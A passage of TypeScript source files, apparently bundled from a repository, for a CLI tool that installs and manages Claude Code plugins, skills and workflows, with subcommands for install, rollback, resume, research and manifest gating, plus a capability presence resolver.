<name>` executes immediately by default (non-expert UX;\n// v3.0.1 user feedback — dry-run 是高级用户概念,默认应 apply)。`--dry-run` flag\n// is opt-in 高级用户预览。Sister setup.ts pattern verbatim (L5-7 IMPL NOTE).\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。default is apply-immediate, no flag needed。\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { t } from '../i18n/index.js'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(t('install.audit_hint'))\n process.exit(1)\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // dryRun=true → preview only;dryRun=false → immediate execute。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(t('install.aborted', { reason: result.reason }))\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(\n version\n ? t('install.success_with_version', { name: v.manifest.metadata.name, version })\n : t('install.success', { name: v.manifest.metadata.name }),\n )\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description(\n 'Install the phase 1.3 base profile (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(getPackageRoot())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled) alreadyInstalled.push(name)\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / already-installed: ${alreadyInstalled.length} / skipped (deferred installer methods awaiting phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const a of alreadyInstalled)\n console.log(` already-installed ${a} — run \\`/mcp\\` in Claude Code to verify connection`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0 && alreadyInstalled.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description(\n 'Add a new upstream adapter (EE-5 5-question merge gate; immediate by default — use --dry-run for preview)',\n )\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option('--dry-run', 'preview only — do not write JSON (opt-in for advanced users)')\n .option('--non-interactive', 'CI/scripts — WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(t('manifest_add.non_interactive_warn'))\n console.log(t('manifest_add.dry_run_preview', { upstream, path: outPath }))\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error(t('manifest_add.empty_answer'))\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n if (!dryRun) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(t('manifest_add.gate_passed_wrote', { path: outPath }))\n } else {\n console.log(t('manifest_add.gate_passed_dry_run', { path: outPath }))\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n//\n// v3.4.4 (Phase 4) — REFACTORED: research subcommand is now a thin alias to\n// `runWorkflow` (src/workflow/run.ts) targeting the already-v3\n// workflows/research/workflow.yaml. Subcommand surface unchanged\n// (--query / --dry-run / --non-interactive / --model + H1 gate + exit-code\n// semantics 0/1/2) → zero user-visible regression.\n//\n// Pre-Phase-4 body called `runRouting` (src/routing/engine.ts) — Phase 6 will\n// delete src/routing/ entirely; for now the routing/ module stays LIVE to\n// support legacy callers (src/routing-engine/ test fixtures + ralph-loop\n// wrapper). This file no longer imports from src/routing/.\n//\n// Exit codes (preserved from v3.3.0):\n// 0 → ok (workflow runtime completed successfully)\n// 1 → workflow runtime failed (status === 'failed' or thrown)\n// 2 → usage error (missing --query / yaml not found)\n// v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\nimport { resolveWorkflowYaml } from './run.js'\n\ninterface RawOpts {\n query?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description(\n 'Run research workflow (search category sub-routing → spawn → verbatim COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--query <text>', 'research prompt (required)')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error(t('research.require_query'))\n process.exit(2)\n }\n\n // Resolve workflows/research/workflow.yaml (already v3 per Phase 2 Commit 1).\n const yamlPath = await resolveWorkflowYaml('research', WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(`error: workflows/research/workflow.yaml not found under ${WORKFLOWS_DIR}`)\n process.exit(2)\n return\n }\n\n // gateContext: --query → task; --model → modelOverride (captured for\n // Phase 5 sdkSpawn-level consumption; Phase 4 plumbs only).\n const gateContext: Record<string, unknown> = {\n task: raw.query,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n }\n\n // Dry-run: universal Phase 1 JSON envelope shape (sister src/cli/run.ts:91).\n // Replaces v3.4.3 3-line t('research.dry_run.*') output.\n if (raw.dryRun === true) {\n console.log(JSON.stringify({ workflow: 'research', yamlPath, gateContext }, null, 2))\n process.exit(0)\n return\n }\n\n // Apply path: runWorkflow + fail-soft try/catch + exit 1 on failed.\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(t('resume.fail', { error: r.error }))\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(t('resume.corrupt', { error: r.error, path: r.path }))\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = join(getBackupRoot(), timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `${t('rollback.metadata_unreadable', { path: metaPath, message: (err as Error).message })}\\n${t('rollback.metadata_unreadable.fix')}`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n t('rollback.checksum_mismatch', {\n target: entry.target,\n expected: entry.sha1.slice(0, 12),\n actual: sha1.slice(0, 12),\n }),\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(t('rollback.restored', { count: meta.files.length, timestamp }))\n })\n}\n","// v3.4.2 redesign — Capability presence resolver for SKILL.md template rendering.\n//\n// Background (why v3.4.1 was wrong):\n// v3.4.1 assumed every external slash command came from a Claude Code marketplace\n// plugin and rendered as `/<plugin-name>:<bare>` (e.g. `/gstack:review`). User\n// dogfood install verified this is false on TWO fronts:\n// (a) gstack / mattpocock / gsd are user-skills (git clone into\n// ~/.claude/skills/<x>/), NOT plugins. They never appear in\n// installed_plugins.json.\n// (b) Claude Code plugin slash-commands themselves are bare too — a plugin's\n// `commands/<x>.md` file becomes `/<x>` directly with NO `<plugin>:`\n// prefix. (Verified against the real `code-review` plugin layout:\n// `~/.claude/plugins/cache/.../code-review/.../commands/code-review.md`\n// → slash `/code-review`, not `/code-review:code-review`.)\n// So v3.4.1's whole `/<ns>:<bare>` mutation was misguided. The cmd field in\n// capabilities.yaml already holds the actual invocable slash command verbatim.\n//\n// Design (v3.4.2):\n// The resolver no longer mutates cmd. It only PRESENCE-CHECKS the backing\n// capability and emits a warning when declared but missing. Two install paths:\n//\n// install_type: plugin → look up `plugin_id` in\n// ~/.claude/plugins/installed_plugins.json\n// (key prefix before `@`).\n// install_type: user-skill → look up `skill_dir` directory under\n// ~/.claude/skills/<skill_dir>/.\n// install_type omitted → no check (built-in / cli / mcp / sentinel /\n// pre-namespaced superpowers cmds).\n//\n// Both `plugin_id` and `skill_dir` are explicit (no auto-derivation from capability\n// key). Explicit > implicit when one capability key (e.g. `gstack-review`) maps to\n// a different lookup id (`gstack` skill_dir). Karpathy simplicity: explicit fields\n// avoid magic, schema stays additive, future capabilities are obvious.\n\nimport { readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/** Minimal shape needed from capabilities.yaml — additive yaml-tolerant. */\nexport interface CapabilityEntry {\n cmd: string\n impl?: string\n /**\n * v3.4.2: which presence-check path(s) to run. Omit for no check.\n *\n * Single value (e.g. `'plugin'` or `'user-skill'`) → check that one path only.\n *\n * Array (e.g. `['plugin', 'user-skill']`) → \"互为补充\" dual-install support:\n * resolver tries each declared path; **any one detected = OK no warning**.\n * Only if ALL declared paths are missing does it emit a combined warning\n * listing every install method. Both `plugin_id` and `skill_dir` should be\n * populated when the array form is used so each path has a concrete lookup.\n */\n install_type?: 'plugin' | 'user-skill' | ReadonlyArray<'plugin' | 'user-skill'>\n /** v3.4.2: lookup key in installed_plugins.json (left side of `<name>@<marketplace>`). */\n plugin_id?: string\n /** v3.4.2: lookup directory under ~/.claude/skills/. */\n skill_dir?: string\n}\n\n/** Capabilities map keyed by capability name (e.g. `gstack-review` → entry). */\nexport type CapabilityMap = Record<string, CapabilityEntry>\n\n/** Resolver result for a single capability cmd render. */\nexport interface ResolvedCmd {\n /** ALWAYS = cmd unchanged. Resolver never mutates the cmd. */\n renderedCmd: string\n /** Populated when install_type declared but capability not detected on disk. */\n warning?: string\n}\n\n/**\n * Parse `~/.claude/plugins/installed_plugins.json` → Set of installed plugin names.\n *\n * File shape (verified 2026-05-24 on user's machine):\n * { version: 2, plugins: { \"<pluginName>@<marketplaceId>\": [{ ... }], ... } }\n *\n * The `<pluginName>` portion (left of `@`) is what we match against\n * `capability.plugin_id`. Tolerant of missing/malformed file — returns empty Set\n * so setup remains non-blocking on discovery failure (sister fallback 铁律 1).\n */\nexport function readInstalledPlugins(homedirOverride?: string): Set<string> {\n const home = homedirOverride ?? homedir()\n const path = join(home, '.claude', 'plugins', 'installed_plugins.json')\n let raw: string\n try {\n raw = readFileSync(path, 'utf8')\n } catch {\n return new Set()\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return new Set()\n }\n if (!parsed || typeof parsed !== 'object') return new Set()\n const plugins = (parsed as { plugins?: unknown }).plugins\n if (!plugins || typeof plugins !== 'object') return new Set()\n const out = new Set<string>()\n for (const key of Object.keys(plugins)) {\n const at = key.indexOf('@')\n if (at <= 0) continue // defensive: skip malformed keys without `@` separator\n out.add(key.slice(0, at))\n }\n return out\n}\n\n/**\n * List directories under `~/.claude/skills/` → Set of installed user-skill dir\n * names. Each directory represents one user-skill (whether single-skill flat\n * dir like `diagnose/SKILL.md`, or umbrella dir like `gstack/<sub>/SKILL.md`).\n *\n * Tolerant of missing skills dir (returns empty Set) — first-time users with no\n * user-skills installed simply see warnings for any user-skill capabilities.\n */\nexport function readInstalledUserSkills(homedirOverride?: string): Set<string> {\n const home = homedirOverride ?? homedir()\n const skillsRoot = join(home, '.claude', 'skills')\n try {\n const entries = readdirSync(skillsRoot, { withFileTypes: true })\n const out = new Set<string>()\n for (const e of entries) if (e.isDirectory()) out.add(e.name)\n return out\n } catch {\n return new Set()\n }\n}\n\n/**\n * Resolve a single capability presence + return cmd UNCHANGED + optional warning.\n *\n * - install_type omitted → return cmd unchanged, no check, no warning.\n * - install_type: plugin AND plugin_id present in installedPlugins → cmd\n * unchanged, no warning.\n * - install_type: plugin AND plugin_id MISSING → cmd unchanged, warning with\n * plugin install hint.\n * - install_type: user-skill AND skill_dir present in installedUserSkills →\n * cmd unchanged, no warning.\n * - install_type: user-skill AND skill_dir MISSING → cmd unchanged, warning\n * with git-clone install hint.\n *\n * Missing `plugin_id` / `skill_dir` for the corresponding install_type emits\n * a schema-level warning (config bug — capability misdeclared).\n */\nexport function resolveCapabilityCmd(\n capability: CapabilityEntry,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): ResolvedCmd {\n const { cmd, install_type, plugin_id, skill_dir } = capability\n\n if (!install_type) return { renderedCmd: cmd }\n\n // Normalize single string → array. Array form (\"互为补充\" dual-install):\n // any one path detected = OK no warning; ALL missing = combined warning.\n const types = Array.isArray(install_type) ? install_type : [install_type]\n\n // De-dupe + preserve declared order (stable for consistent warning text).\n const uniqueTypes = [...new Set(types)]\n\n // Per-path probe; collect missing hints + detect any hit.\n const missingHints: string[] = []\n let anyDetected = false\n\n for (const t of uniqueTypes) {\n if (t === 'plugin') {\n if (!plugin_id) {\n missingHints.push(\n `install_type=plugin declared but no plugin_id (capabilities.yaml schema bug)`,\n )\n continue\n }\n if (installedPlugins.has(plugin_id)) {\n anyDetected = true\n break // short-circuit on first hit\n }\n missingHints.push(`plugin '${plugin_id}' (\\`claude plugin install ${plugin_id}\\`)`)\n } else {\n // 'user-skill'\n if (!skill_dir) {\n missingHints.push(\n `install_type=user-skill declared but no skill_dir (capabilities.yaml schema bug)`,\n )\n continue\n }\n if (installedUserSkills.has(skill_dir)) {\n anyDetected = true\n break\n }\n missingHints.push(\n `user-skill '${skill_dir}' under ~/.claude/skills/ (git clone the official repo; e.g. gstack: \\`git clone https://github.com/garrytan/gstack.git ~/.claude/skills/gstack && cd ~/.claude/skills/gstack && ./setup\\`)`,\n )\n }\n }\n\n if (anyDetected) return { renderedCmd: cmd }\n\n // All declared paths missing. Combined warning lists every install method.\n const prefix = uniqueTypes.length > 1 ? '[multi]' : `[${uniqueTypes[0]}]`\n const joined = missingHints.join(' OR ')\n return {\n renderedCmd: cmd,\n warning: `${prefix} '${cmd}' backing missing — install either: ${joined}.`,\n }\n}\n\n/** Regex matches `{{ capabilities.<name>.cmd }}` allowing flexible whitespace. */\nconst CAPABILITY_CMD_TEMPLATE = /\\{\\{\\s*capabilities\\.([a-zA-Z0-9_-]+)\\.cmd\\s*\\}\\}/g\n\n/** Result of rendering a SKILL.md body. */\nexport interface RenderedSkill {\n /** SKILL.md body with all `{{ capabilities.*.cmd }}` placeholders replaced. */\n body: string\n /** Unique warning lines collected (deduped) — caller emits as summary block. */\n warnings: string[]\n}\n\n/**\n * Render all `{{ capabilities.<name>.cmd }}` placeholders in a SKILL.md body.\n *\n * - Unknown capability name → leave placeholder verbatim + emit warning (so\n * broken refs are visible in the rendered file AND in the setup summary).\n * - Per-capability resolver warnings (plugin/user-skill missing) deduplicated\n * across multiple references within and across files.\n */\nexport function renderSkillBody(\n body: string,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): RenderedSkill {\n const warningsSet = new Set<string>()\n const out = body.replace(CAPABILITY_CMD_TEMPLATE, (match, name: string) => {\n const cap = capabilities[name]\n if (!cap) {\n warningsSet.add(\n `capability '${name}' referenced in SKILL.md but not defined in capabilities.yaml`,\n )\n return match // preserve literal so issue is visible to skill consumer\n }\n const { renderedCmd, warning } = resolveCapabilityCmd(\n cap,\n installedPlugins,\n installedUserSkills,\n )\n if (warning) warningsSet.add(warning)\n return renderedCmd\n })\n return { body: out, warnings: [...warningsSet] }\n}\n","// v3.3.1 hotfix — auto-enable Agent Teams in ~/.claude/settings.json during `harnessed setup`.\n// Sister checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED): mirror probe logic but WRITE-side.\n// Q-AUDIT-5b LOCKED: schema is root-level `env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS`\n// NOT nested `experimental.*`.\n//\n// Behavior (3 case + non-destructive merge):\n// (a) file 不存在 → create with `{env: {CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: \"1\"}}`\n// (b) file 存在 + env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS === \"1\" → idempotent no-op\n// (c) file 存在 + 缺 key OR key !== \"1\" → backup original + merge add/update key\n//\n// Backup goes to `~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak` (sister v3.0.3\n// getHarnessedRoot pattern via harnessedSubdir). Atomic write via tmpPath + rename.\n// Any error → warn + skip (sister fallback 铁律 1 透明声明), NOT throw — non-blocking setup.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport { harnessedSubdir } from '../../installers/lib/harnessedRoot.js'\n\nexport type EnableResult =\n | { status: 'created'; path: string }\n | { status: 'already-enabled'; path: string }\n | { status: 'enabled'; path: string; backupPath: string }\n | { status: 'warn'; message: string }\n\nfunction settingsPath(): string {\n return resolve(homedir(), '.claude', 'settings.json')\n}\n\nexport async function 